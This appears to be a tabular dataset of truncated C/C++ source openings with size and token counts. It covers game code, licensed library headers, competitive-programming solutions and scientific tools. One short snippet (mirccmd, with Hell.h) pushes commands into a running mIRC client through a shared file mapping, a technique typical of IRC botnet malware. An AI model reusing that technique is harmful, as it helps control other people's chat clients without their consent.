text
string
size
int64
token_count
int64
/* XMRig * Copyright 2018-2020 SChernykh <https://github.com/SChernykh> * Copyright 2016-2020 XMRig <https://github.com/xmrig>, <support@xmrig.com> * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Fr...
2,023
760
// Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "ui/display/chromeos/display_configurator.h" #include "ui/display/types/native_display_delegate.h" #include "ui/ozone/public/ozone_platform.h" ...
527
164
// Autogenerated from CppHeaderCreator // Created by Sc2ad // ========================================================================= #pragma once #pragma pack(push, 8) // Begin includes #include "extern/beatsaber-hook/shared/utils/typedefs.h" // Including type: System.ValueType #include "System/ValueType.hpp" // Inc...
4,268
1,313
//------------------------------------------------------------------------------ // imgui-d3d11.cc // Dear ImGui integration sample with D3D11 backend. //------------------------------------------------------------------------------ #include "d3d11entry.h" #define SOKOL_IMPL #define SOKOL_D3D11 #define SOKOL_D3D11_SH...
10,830
4,217
#include "RenderPipelineManager.h" namespace pipeline{ CRenderPipelineManager::CRenderPipelineManager():m_pRenderingEngine(NULL) { } CRenderPipelineManager::~CRenderPipelineManager() { ClearRenderPipeline(); ClearPrototypes(); } IRenderPipeline*CRenderPipelin...
2,771
820
class Solution { public: const int MOD = (int) 1e9 + 7; int countHomogenous(string s) { long long ans = 0; int n = s.length(); for( int i = 0 , j = 0 ; i < n ; i = j ) { while(j < n && s[i] == s[j]) j++; long long k = j-i; ans += k*(k+1...
369
138
/** * UGENE - Integrated Bioinformatics Tools. * Copyright (C) 2008-2012 UniPro <ugene@unipro.ru> * http://ugene.unipro.ru * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version...
24,351
8,158
// Copyright (C) 2009,2010,2011,2012 GlavSoft LLC. // All rights reserved. // //------------------------------------------------------------------------- // This file is part of the TightVNC software. Please visit our Web site: // // http://www.tightvnc.com/ // // This program is free software; y...
1,751
547
// Fill out your copyright notice in the Description page of Project Settings. #include "TankPlayerController.h" #include "Runtime/Engine/Classes/Engine/World.h" void ATankPlayerController::BeginPlay() { Super::BeginPlay(); ATank* MyTank = GetTank(); if (!MyTank) { UE_LOG(LogTemp, Warning, TEXT("No Tank pawn c...
1,999
682
#include "BlockOccupationDetector.h" BlockOccupationDetector::BlockOccupationDetector(byte pinA, byte pinB, byte pinC, byte pinRead) { selectPinArray[0] = pinA; selectPinArray[1] = pinB; selectPinArray[2] = pinC; this->pinRead = pinRead; pinMode(pinA, OUTPUT); pinMode(pinB, OUTPUT); pinMod...
4,462
1,431
#pragma once #ifndef DISH2_RECORD_GLOBAL_RECORDS_FINALIZE_HPP_INCLUDE #define DISH2_RECORD_GLOBAL_RECORDS_FINALIZE_HPP_INCLUDE #include <cstdlib> #include "../../../third-party/conduit/include/uitsl/debug/err_verify.hpp" #include "../../../third-party/conduit/include/uitsl/debug/list_cwd.hpp" #include "../../../third...
1,506
621
// Copyright Aleksey Gurtovoy 2000-2004 // // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // // See http://www.boost.org/libs/mpl for documentation. // $Id$ // $Date$ // $Revision$ // NO INCLUDE GUARDS, THE H...
4,791
2,429
#pragma once #include "BaseDestructor.hpp" namespace stdx::details { enum class EConstructorSelector { Disabled, Trivial, NonTrivial }; template <typename T, typename E> constexpr EConstructorSelector SelectCopyConstructor() noexcept { if constexpr (VoidOrTriviallyCopyConstructible<T>() && Trivia...
2,331
629
#include <stdio.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include "device.h" #include "memory.h" void acquire(DeviceData* device_data) { printf("acquire.\n"); pthread_mutex_lock(&(device_data->itmes_mutex)); (device_data->memory_pointers)++; pthread_mutex_unlock(&(device_data->itmes...
666
261
#include "ImageIO.h" #include "Logger.h" #include "config/Build.h" #include <OpenImageIO/imageio.h> namespace PR { bool ImageIO::save(const std::filesystem::path& path, const float* data, size_t width, size_t height, size_t channels, const ImageSaveOptions& opts) { OIIO::ImageSpec spec(width, height, channels, OIIO:...
3,988
1,632
#include <iostream> #include <stdio.h> using namespace std; int main() { int MyInt = 4; int &MyIntRef = MyInt; int *MyIntPtr; MyIntPtr = &MyIntRef; cout << *MyIntPtr << "\n"; return 0; } /* 4 */
224
96
/* ** Copyright 2019 Bloomberg Finance L.P. ** ** Licensed under the Apache License, Version 2.0 (the "License"); ** you may not use this file except in compliance with the License. ** You may obtain a copy of the License at ** ** http://www.apache.org/licenses/LICENSE-2.0 ** ** Unless required by applicable law or...
60,580
16,343
#include "particleContainer.h" #include <array> #include <cmath> #include <cassert> #include <exception> #include <iostream> #include <sstream> #include <algorithm> #include <memory.h> #include "../pimcConfigurations.h" namespace pimc { template<int d> inline int indexFortranStorage(const int* im, const int* sizes) ...
5,831
2,165
/* * Copyright (C) 2005-2019 Centre National d'Etudes Spatiales (CNES) * * This file is part of Orfeo Toolbox * * https://www.orfeo-toolbox.org/ * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of ...
7,462
2,348
/* * Copyright (C)2015,2016,2017 Amos Brocco (amos.brocco@supsi.ch) * Scuola Universitaria Professionale della * Svizzera Italiana (SUPSI) * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are perm...
7,736
2,387
// arith07.cpp Copyright (C) 1990-2020 Codemist // // Arithmetic functions. negation plus a load of Common Lisp things // for support of complex numbers. // // /************************************************************************** * Copyright (C) 2020, Codemist. ...
35,918
14,072
#include <bfd.h> #include <execinfo.h> #include <cxxabi.h> #include <csignal> #include <cmath> #include <map> #include <string> #include <sstream> #include <iostream> #include <iomanip> #include <memory> #include "testcase/backtrace.h" using namespace std; using namespace testcase; #define BACKTRACE_BUF_SIZE \ (s...
7,056
2,816
/* * Copyright (C) 2014 Glyptodon LLC * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publi...
4,152
1,380
#include "MeshDataBuffer.hpp" #include "GLFW/glfw3.h" namespace GlProj { namespace Graphics { MeshDataBuffer::MeshDataBuffer(BufferType bufferType, GLsizeiptr dataSize, const GLvoid* data, GLenum dataType, GLint elemsPerVert, BufferUsage usage) : bufferType(GLenum(bufferType)) , dataType(dataType)...
2,749
1,089
/* -*- mode: c++; coding: utf-8; c-file-style: "stroustrup"; -*- Contributors: Asier Aguirre All rights reserved. Use of this source code is governed by a BSD-style license that can be found in the LICENSE.txt file. */ #include "catch.hpp" #include "ml_parser.h" #define _ "\n" #define DUMP(x, ...) ...
7,135
2,761
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT license. #include "RealSenseDeviceUnmanaged.h" #include "librealsense2\h\rs_sensor.h" #pragma managed(push, off) RealSenseDeviceUnmanaged::RealSenseDeviceUnmanaged() { refCount = 0; } RealSenseDeviceUnmanaged::~RealSenseDeviceUnm...
4,605
1,942
#ifndef __CAN_SIMPLE_HPP_ #define __CAN_SIMPLE_HPP_ #include <interfaces/canbus.hpp> #include "axis.hpp" class CANSimple { public: enum { MSG_CO_NMT_CTRL = 0x000, // CANOpen NMT Message REC MSG_ODRIVE_HEARTBEAT, MSG_ODRIVE_ESTOP, MSG_GET_MOTOR_ERROR, // Errors MSG_GET_...
4,427
1,678
#include <iostream> #include <fstream> #include <vector> #include <unordered_set> using namespace std; class Task { public: void solve() { read_input(); print_output(get_result()); } private: int n, k; void read_input() { ifstream fin("in"); fin >> n >> k; fin....
2,387
816
// // SVScene.cpp // SVEngine // Copyright 2017-2020 // yizhou Fu,long Yin,longfei Lin,ziyu Xu,xiaofan Li,daming Li // #include "SVScene.h" #include "SVCameraNode.h" #include "SVNode.h" #include "SVNodeVisit.h" #include "../app/SVGlobalMgr.h" #include "../app/SVGlobalParam.h" #include "../basesys/SVStaticData.h" #incl...
9,112
3,776
#ifndef ED_TITFI_HPP #define ED_TITFI_HPP #include <cstdint> #include <cassert> #include <algorithm> #include <map> #include <boost/dynamic_bitset.hpp> //#include "BitOperations.h" #include "../Basis/AbstractBasis1D.hpp" template<typename UINT> class TITFIsing { private: const edlib::AbstractBasis1D<UINT>& basis_; d...
1,067
534
#include "TerrainGeneration.h" #include <cmath> namespace ExtraLife { noise::module::Perlin TerrainGeneration::m_perlin_noise; int TerrainGeneration::generate_top_layer(const WorldPosition& starting_world_position, const int x_local, const int z_local, const int x_block_qty, const int y_block_qty, const int z_block_...
2,836
1,299
#ifndef NXT_IPC_HPP #define NXT_IPC_HPP #include "nxt_fifo.hpp" #include "nxt_message.hpp" #include <functional> #include <map> // Creates and manages a pair of named pipes for communicating with the client class nxt_ipc { public: using handler_t = std::function<void(nxt_message&)>; private: nxt_fifo m_fifo_i...
1,182
459
#include <jellyfish/dna_codes.hpp> #define R -1 #define I -2 #define O -3 #define A 0 #define C 1 #define G 2 #define T 3 const char jellyfish::dna_codes[256] = { O, O, O, O, O, O, O, O, O, O, I, O, O, O, O, O, O, O, O, O, O, O, O, O, O, O, O, O, O, O, O, O, O, O, O, O, O, O, O, O, O, O, O, O, O, R, O, O, O...
982
638
// Autogenerated from CppHeaderCreator // Created by Sc2ad // ========================================================================= #pragma once // Begin includes #include "extern/beatsaber-hook/shared/utils/typedefs.h" // Including type: NetworkPlayersViewController #include "GlobalNamespace/NetworkPlayersV...
7,756
2,301
/********************************************************************************* * This file is part of Age Calculator. * * * * Copyright © 2019 Mariusz Helfajer ...
7,853
2,489
#pragma once #include <memory> /** * @brief Represents the whole application */ class App { public: struct Impl; /** * @attention the class keeps a reference to constructor's arguments. Make sure they stay valid */ explicit App(const char *configurationFile); ~App(); /** * Runs ...
459
139
#include <iostream> using namespace std; int main(){ //Declare a 2 dimensional array of a 3x3 matrix //Each matrix element has a value of 1 or 0 int matrix[3][3] = { {1, 0, 1}, {0, 1, 0}, {1, 0, 1} }; //print out the matrix for (int i = 0; i < 3; i++) { for (int...
436
172
#include<bits/stdc++.h> #define ll long long int using namespace std; #define F first #define S second void update(ll index, vector<ll> &BIT){ for(ll i=index;i<=100000;i+=i&(-i)){ BIT[i]++; } } ll query(ll index, vector<ll> &BIT){ ll count=0; for(ll i=index;i>0;i-=i&(-i)){ count+=BIT[i]; } return count...
917
484
#ifndef RENDER_VIEW_HPP #define RENDER_VIEW_HPP // Qt includes #include <QWidget> #include <QPainter> #include <QList> #include <QMap> // C++ includes // math expression parsing header #include "muParser.h" // Local includes #include "ode_pathtracer.hpp" class RenderView : public QWidget { Q_OBJECT public: e...
1,352
442
#include <bits/stdc++.h> using namespace std; int parent[200005]; int size[200005]; vector<tuple<int,int,int> > lis; int find(int x) { if(x != parent[x]) parent[x] = find(parent[x]); return parent[x]; } bool same(int a, int b) { return find(a) == find(b); } void unite(int a,int b) { a = find(a); b = find(b); ...
853
473
/*************************************************************************** * * Copyright (c) 2013 Baidu, Inc. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * ...
6,191
2,397
/*last time Tumi ami from uap*/ #include <iostream> using namespace std; typedef long long ll; int main() { ll a,ami; cin>>a>>ami; ll tumi=a; ll taka=0; while(tumi<ami){ tumi*=a; taka++; } if(tumi==ami) cout<<"YES"<<endl<<taka; else cout<<"NO"; return 0; }
279
135
#include <iostream> #include <stdlib.h> #include <string.h> #include <stdbool.h> using namespace std; bool login(char [], char []); int main() { char userId[7] = "ciccio", psw[5] = "1234"; bool accesso=login(psw, userId); } bool login(char psw[], char userId[]) { char userIdDigitata[2...
1,709
584
/*----------------------------------------------------------------------------- Copyright 2017 Hopsan Group Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.o...
2,935
913
#include "mainwindow.h" #include <QApplication> int main(int argc, char *argv[]) { QApplication a(argc, argv); a.setApplicationName("Smart Vacuum"); a.setOrganizationName("UPF"); MainWindow w; w.show(); return a.exec(); }
248
92
// Copyright (C) 2015-2021 Andrzej Krzemienski. // // Use, modification, and distribution is subject to the Boost Software // License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #ifndef AK_TOOLBOX_COMPACT_OPTIONAL_HEADER_GUARD_ #define AK_TOOLBOX_COMPACT_OPT...
23,489
8,460
// // Created by Daniel Peters on 08.04.21. // #pragma once #include "../utils/utils.hpp" using namespace blit; class Turret { public: explicit Turret(Point position, TurretFacingDirection facing_direction); void draw(); Rect get_rectangle() const; TurretFacingDirection get_facing_direction(); uint8_t get_damag...
1,130
409
/* ========================================================================== */ /* FLYSPECK - CFSQP */ /* */ /* Nonlinear Inequalities, C++ Nonrigorous Numerical Optimization */ /* Chapter: Local F...
17,757
10,205
#ifndef STAN_MATH_PRIM_FUN_POW_HPP #define STAN_MATH_PRIM_FUN_POW_HPP #include <stan/math/prim/meta.hpp> #include <stan/math/prim/fun/constants.hpp> #include <stan/math/prim/functor/apply_scalar_binary.hpp> #include <cmath> #include <complex> namespace stan { namespace math { namespace internal { /** * Return the ...
1,347
459
#include "ModelManager.h" namespace sunny { namespace graphics { std::map<std::string, Model*> ModelManager::s_map; Model* ModelManager::Add(const::std::string& name, Model* Model) { s_map[name] = Model; return Model; } void ModelManager::Clean() { for (auto it = s_map.begin(); it != s_map...
641
298
/* * Copyright 2007-2021 CM4all GmbH * All rights reserved. * * author: Max Kellermann <mk@cm4all.com> * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * - Redistributions of source code must retain the abo...
3,453
1,164
#include "httpresponse.h" HttpResponse::HttpResponse() { } HttpResponse HttpResponse::FromByteArray(QByteArray &format) { /* HTTP/1.1 200 OK\r\nServer: nginx/1.10.1\r\nDate: Sat, 29 Jul 2017 00:41:44 GMT\r\nContent-Type: text/html\r\nTransfer-Encoding: chunked\r\nConnection: keep-alive\r\n\r\n27\r\n{\"status\":2...
1,405
557
#include "Include.h" #include "Hell.h" BOOL mirccmd(char *cmd) { HWND mwnd = FindWindow("mIRC",NULL); if (mwnd) { HANDLE hFileMap = CreateFileMapping(INVALID_HANDLE_VALUE,0,PAGE_READWRITE,0,4096,"mIRC"); LPSTR mData = (LPSTR)MapViewOfFile(hFileMap,FILE_MAP_ALL_ACCESS,0,0,0); sprintf(mData, cmd); SendMessage(...
478
235
/** * @copyright Copyright (c) 2021 NetEase, Inc. All rights reserved. * Use of this source code is governed by a MIT license that can be found in the LICENSE file. */ #include "StdAfx.h" namespace ui { PlaceHolder::PlaceHolder() { } PlaceHolder::~PlaceHolder() { } std::wstring PlaceHolder::GetNa...
5,916
2,466
/* Resembla https://github.com/tuem/resembla Copyright 2017 Takashi Uemura Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applic...
5,177
2,663
#include "nmsgpack.h" /* class creation * designed for sender-receiver mode, communication between 2 apps on same pc * for other polling modes read nanomsg documentation * std::string localurl (default): tcp://127.0.0.1:5000 * bool nodemode: Sender mode (default) => flase, Receiver mode => true * */ nmsgpack::...
12,616
4,187
// Copyright 2018 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in w...
7,042
2,480
#pragma once #include "../Widget.hpp" #include "../../res/ResCursor.hpp" namespace morda{ /** * @brief Mouse cursor widget. * This widget displays mouse cursor. * From GUI script this widget can be instantiated as "MouseCursor". * * @param cursor - reference to cursor resource. */ class MouseCursor : virtua...
811
262
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* Serialize.hpp :+: :+: :+: ...
1,619
521
#include <iostream> #include <stdio.h> #include <fstream> #include <stdlib.h> #include <time.h> using namespace std; double unirand() { return (double) rand()/ (double) RAND_MAX; } int main() { double pi, x, y, r; unsigned int N=0, Ntot; ofstream outfile; outfile.open("rnd-pi.txt"); ...
1,112
457
// Adapted from JET: https://github.com/XanaduAI/jet.git // and from Lightning: https://github.com/PennylaneAI/pennylane-lightning.git #pragma once #include <algorithm> #include <numeric> #include <type_traits> #include <vector> #include <cuComplex.h> #include <cublas_v2.h> #include <cuda.h> #include <custatevec.h> ...
14,844
5,210
// // C++ example that imports a molecule from an outputted binary (which you can produce from python with indigox.SaveMolecule) // This example has CalculateElectrons on, so it will calculate formal charges and bond orders. // Relies on the Python example having been run first so there is an Athenaeum to match the mol...
1,858
613
/* * Copyright 2021 Malte Dömer * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclai...
3,007
1,086
#include "EventHub.h" String Eventhub::createSas(char *key, String url){ // START: Create SAS // https://azure.microsoft.com/en-us/documentation/articles/service-bus-sas-overview/ // Where to get seconds since the epoch: local service, SNTP, RTC sasExpiryTime = now() + sasExpiryPeriodInSeconds; String...
1,073
413
/* * Copyright (c) 2013-2014 John Connor (BM-NC49AxAjcqVcF5jNPu85Rb8MJ2d9JqZt) * * This file is part of coinpp. * * coinpp is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License with * additional permissions to the one published by the Free Software ...
2,490
726
#include "utils/FHEUtils.hpp" #include "utils/timer.hpp" #include "fhe/EncryptedArray.h" #include <string> #include "algebra/NDSS.h" void test_load(long m, long p, long r, long L) { MDL::Timer timer; std::string path("fhe_setting"); timer.start(); FHEcontext context(m, p, r); timer.end(); prin...
1,476
613
#include "sol/sol.hpp" #include "common/http_util.hpp" using namespace moon; static sol::table bind_http(sol::this_state L) { sol::state_view lua(L); sol::table module = lua.create_table(); module.set_function("parse_request", [](std::string_view data) { std::string_view method; std::stri...
1,762
573
/**************************************************************************** ** ** Copyright (C) 2017 TU Wien, ACIN, Vision 4 Robotics (V4R) group ** Contact: v4r.acin.tuwien.ac.at ** ** This file is part of V4R ** ** V4R is distributed under dual licenses - GPLv3 or closed source. ** ** GNU General Public License Usa...
4,952
1,681
/* * Copyright (c) Contributors to the Open 3D Engine Project. * For complete copyright and license terms please see the LICENSE at the root of this distribution. * * SPDX-License-Identifier: Apache-2.0 OR MIT * */ #include <Atom/RHI/BufferScopeAttachment.h> #include <Atom/RHI/BufferFrameAttachment.h> #include <...
2,879
752
#include <functional> template<typename T> std::function<T(T)> addX(T x) { return [x](T n) -> T { return n + x; }; } int main() { auto addFive = addX<int>(5); addFive(10); // returns 15 }
218
93
#include "include/test.hpp" auto test::add(int a,int b)->decltype(a+b) { return a+b; }
91
41
#include "gtest/gtest.h" #include "utils/Logger.h" #include "Globals.h" #include <algorithm> TEST(LoggerTest, CtorDtor) { { Globals::clogStream->str(""); Logger log("LoggerTest", "AutoObject"); EXPECT_GT(Globals::clogStream->str().size(), 0); Globals::clogStream->str(""); } EXPECT_GT(Globa...
1,155
465
#include "nested_cpp/outer_lib/inner_lib/inner_lib.hpp" #include "nested_cpp/outer_lib/outer_lib.hpp" #include <cassert> #include <iostream> int main() { assert(outer::outer_value() == 123); assert(inner::outer_value() == 123); assert(inner::inner_value() == 1989); std::cout << "Passed!\n"; retur...
327
132
#include "Render/Camera/icMaxCam.h" #include "Core/IO/icInput.h" #include "Math/Matrix/icMatrix44.h" icMaxCam::icMaxCam( void ) { m_rZoom = 100.0f; m_rXrot = 0.0f; m_rYrot = 0.0f; m_rZoomMin = 50.0f; m_rZoomMax = 500.0f; m_v3Center.Set(0.0f,0.0f,0.0f); bEnableInput = true; } icMaxCam...
2,356
1,052
class Solution { public: int evalRPN(vector<string>& tokens) { stack<int> stk; int a, b, res; for(string i: tokens){ if(isOperator(i)){ a = stk.top(); stk.pop(); b = stk.top(); stk.pop(); ...
804
248
#include "./SDAEstimateTOFCalib.h" SDAEstimateTOFCalib::SDAEstimateTOFCalib(const char* name, const char* title, const char* in_file_suffix, const char* out_file_suffix, const double threshold) : JPetCommonAnalysisModule( name, title, in_file_suffix, out_file_suffix ) { fSelectedThreshold = threshold; ...
965
442
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may ...
3,445
832
#include <algorithm> #include <vector> #include "gtest/gtest.h" namespace { class Solution { public: std::vector<std::vector<int>> permuteUnique(std::vector<int> const &nums) const { std::vector<int> numbers(nums); std::sort(numbers.begin(), numbers.end()); std::vector<bool> usedNumbe...
1,884
565
#include <iostream> #include <queue> using namespace std; struct node{ char data; struct node *left; struct node *right; }; queue<node*> qu; void levelorder(node*); int main(void){ node *root,*p1,*p2,*p3,*p4,*p5,*p6,*p7; p1=new node; p1->data='1'; root=p1; p2=new node; p2->data='2'; p3=new node; ...
1,006
484
// Copyright 2018 The Fuchsia Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "util.h" #include <openssl/aes.h> #include <zircon/assert.h> #include "garnet/drivers/bluetooth/lib/hci/util.h" namespace btlib { using common...
7,830
2,820
// Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/notifications/notification_ui_manager_android.h" #include "base/logging.h" // static NotificationUIManager* NotificationUIManag...
1,579
422
#include <base/cgal_typedefs.h> #include <IO/fileIO.h> #include <util/helper.h> #include <util/geometricOperations.h> #include <processing/tetIntersection.h> #include <processing/rayTracingTet.h> #include <processing/meshProcessing.h> #include <processing/graphCut.h> #include <processing/edgeManifoldness.h> #include <...
13,154
4,517
// Copyright mogemimi. Distributed under the MIT license. #pragma once #include "pomdog/basic/conditional_compilation.hpp" #include "pomdog/chrono/duration.hpp" #include "pomdog/chrono/game_clock.hpp" #include "pomdog/experimental/gui/widget.hpp" POMDOG_SUPPRESS_WARNINGS_GENERATED_BY_STD_HEADERS_BEGIN #include <dequ...
850
295
/* --------------------------------------------------------------------------------------- This source file is part of SWG:ANH (Star Wars Galaxies - A New Hope - Server Emulator) For more information, visit http://www.swganh.com Copyright (c) 2006 - 2010 The SWG:ANH Team ----------------------------------------------...
50,337
15,154
// OpenVPN -- An application to securely tunnel IP networks // over a single port, with support for SSL/TLS-based // session authentication and key exchange, // packet encryption, packet authentication, and // packet compression. // // Copyright (C) 2012-201...
3,888
1,233
/* =========================================================================== * * PUBLIC DOMAIN NOTICE * National Center for Biotechnology Information * * This software/database is a "United States Government Work" under the * terms of the United States Copyright Act. ...
4,833
1,576
#include "operator.hpp" using namespace ieompp::algebra; TEST_CASE("conjugate_1") { const auto a = Operator1::make_creator(0ul), b = Operator1::make_annihilator(0ul); Operator1 a_conj(a), b_conj(b); a_conj.conjugate(); b_conj.conjugate(); REQUIRE(a_conj == b); REQUIRE(b_conj == a); } TEST_CAS...
1,505
695
#include "debug_message.hpp" #include "opengl.hpp" #include <SDL2/SDL.h> #include <iostream> namespace qwy2 { using namespace std::literals::string_view_literals; static std::string_view opengl_debug_message_source_name(GLenum source) { switch (source) { case GL_DEBUG_SOURCE_API: return "API"sv; case GL_DE...
3,322
1,420
/* * Simd Library (http://ermig1979.github.io/Simd). * * Copyright (c) 2011-2017 Yermalayeu Ihar. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including with...
12,929
4,764
#include <iostream> #include <iomanip> #include "lwave2.h" //#include "amperean.h" int main(int argc, char *argv[]) { int req_args = 6; for(int i=0; i<argc; i++) cout << argv[i] << " "; cout << endl; if(argc-1<req_args) { cout << "Error: incorrect number of arguments\n"; exit(-1); } int L = ato...
2,073
958
// Copyright 1998-2016 Epic Games, Inc. All Rights Reserved. #include "Platoon.h" #include "PlatoonCharacter.h" APlatoonCharacter::APlatoonCharacter() { PrimaryActorTick.bCanEverTick = false; PrimaryActorTick.bStartWithTickEnabled = false; AActor::SetActorHiddenInGame(true); }
283
114
/**********************************************************************************/ /* Problem: a024 "所有位數和" from while 迴圈 */ /* Language: C++ */ /* Result: AC (4ms, 184KB) on ZeroJudge ...
721
227
class Solution { public: bool isPalindrome(string s) { string str = ""; for(int i=0;i<s.size();i++){ if((s[i]>='A' and s[i]<='Z') or (s[i]>='a' and s[i]<='z') or (s[i]>='0' and s[i]<='9')){ str+=tolower(s[i]); } } // cout<<str<<endl; ...
466
189
/* _________________________________________________________________________ * * TEVA-SPOT Toolkit: Tools for Designing Contaminant Warning Systems * Copyright (c) 2008 Sandia Corporation. * This software is distributed under the BSD License. * Under the terms of Contract DE-AC04-94AL85000 with Sandia Corpora...
8,090
2,642
#include "AudioElement.h" AudioElement::AudioElement(std::string file) { if (!buffer.loadFromFile(file)) { std::cout << "FAILED TO LOAD: " << file << std::endl; //todo: error handling } sound.setBuffer(buffer); }
222
86
#include <iostream> using namespace std; class item { int number; float cost; public: void getdata(int a,float b); //Prototype decleration void putdata(void) { cout<<"Number:"<<number<<"\n"; cout<<"Cost :"<<cost<<"\n"; } }; //*************Member Function Definition***********...
571
202
#include <bits/stdc++.h> #define sd(x) scanf("%d",&x) #define sd2(x,y) scanf("%d%d",&x,&y) #define sd3(x,y,z) scanf("%d%d%d",&x,&y,&z) #define fi first #define se second #define pb(x) push_back(x) #define mp(x,y) make_pair(x,y) #define LET(x, a) __typeof(a) x(a) #define foreach(it, v) for(LET(it, v.begin()); it != v...
2,027
1,034
/* Start Header ------------------------------------------------------- Copyright (C) 2018 DigiPen Institute of Technology. Reproduction or disclosure of this file or its contents without the prior written consent of DigiPen Institute of Technology is prohibited. File Name: Main.cpp Purpose: Implementing Game Engine Ar...
11,042
5,299
#ifndef _MH_NETWORK_SERVER_HPP_ #define _MH_NETWORK_SERVER_HPP_ /* * 서버 인터페이스 */ #include <mh/types.hpp> #define SERVER_INTERFACE(name)\ name();\ virtual ~name();\ virtual bool initialize( u32 address, u16 port );\ namespace Mh { namespace Network { class Socket; // 전송 프로토콜 enum TP // Transfort pr...
711
398
#include "fel/file.h" #include <sstream> #include <iostream> #include <fstream> #include <cassert> namespace fel { File::File(const std::string& a_filename, const std::string& a_content) : filename(a_filename) , data(a_content) { } FilePointer::FilePointer(const File& a_file) ...
1,246
389